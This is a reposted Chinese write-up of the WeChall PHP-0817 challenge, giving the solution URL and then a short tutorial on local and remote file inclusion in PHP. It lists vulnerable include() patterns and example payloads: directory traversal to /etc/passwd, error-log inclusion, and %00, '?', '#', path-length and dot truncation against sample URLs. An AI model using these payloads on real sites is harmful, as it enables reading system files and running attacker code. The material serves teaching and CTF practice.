php writeup,WeChall PHP writeup

转载

Junwei Liang 于 2021-03-29 05:50:40 发布 23 收藏
文章标签： php writeup

PHP-0817

if (isset($_GET['which']))

{

$which = $_GET['which'];

switch ($which) {

case 0:

case 1:

case 2:

require_once $which.'.php'; break;

default:

echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);

break;

}}

?>

Your mission is to include solution.php. Here is the script in action:

News, Forum, Guestbook.

Good Luck!

Poc

http://www.wechall.net/challenge/php0817/index.php?which=solution

LFI

文件包含通常又有本地文件包含(Local File Inclusion)和远程文件包含(Remote File Inclusion)之分。allow_url_fopen和allow_url_include是决定包含属于本地文件包含(LFI)还是远程文件包含 (RFI)的条件，在PHP4中则只有一个allow_url_fopen选择。其中allow_url_fopen和 allow_url_include为0n的情况为远程文件包含漏洞，相反为本地文件包含漏洞。

文件包含漏洞有以下几种格式：

1. 基本的本地文件包含

include("includes/" . $_GET['file']);

?>

漏洞利用方法：

直接引用当前目录下的文件?file=.htaccess

便利目录?file=../../../../../../../../../etc/passwd

包含注入的php代码文件。?file=../../../../../../../../../var/log/apache/error.log

2. 需要截断的文件包含

漏洞代码：

include("$_GET('dir')/test.php")

要想利用文件包含就要突破后面test.php的限制。要实现截断有三种方法：

2.1 %00 截断(Magic_quote_gpc为off的情况下)

例子：http://127.0.0.1/include.php?dir=shell.txt%00

2.2 使用？截断(用于远程文件包含)

例子：http://127.0.0.1/include.php?dir=http://127.0.0.1/shell.txt?

例子：http://127.0.0.1/include.php?dir=http://127.0.0.1/shell.txt%23

2.3 通过使路径长度达到一定长度限制时截断(均适用)

通常Windows的截断长度为240，Linux的截断长度为4096。由于Windows和Linux的文件名都有一个最大路径长度(MAX_PATH)的限制，因此当提交文件名的长度超过了最大路劲长度限制是就会截断后面的内容，从而达到文件包含的效果。

2.4 点号截断(当magic_quote_gpc为off的时候，仅限windowns服务器)

例子：http://127.0.0.1/include.php?
dir=../../../../ect/passwd……[很多的.]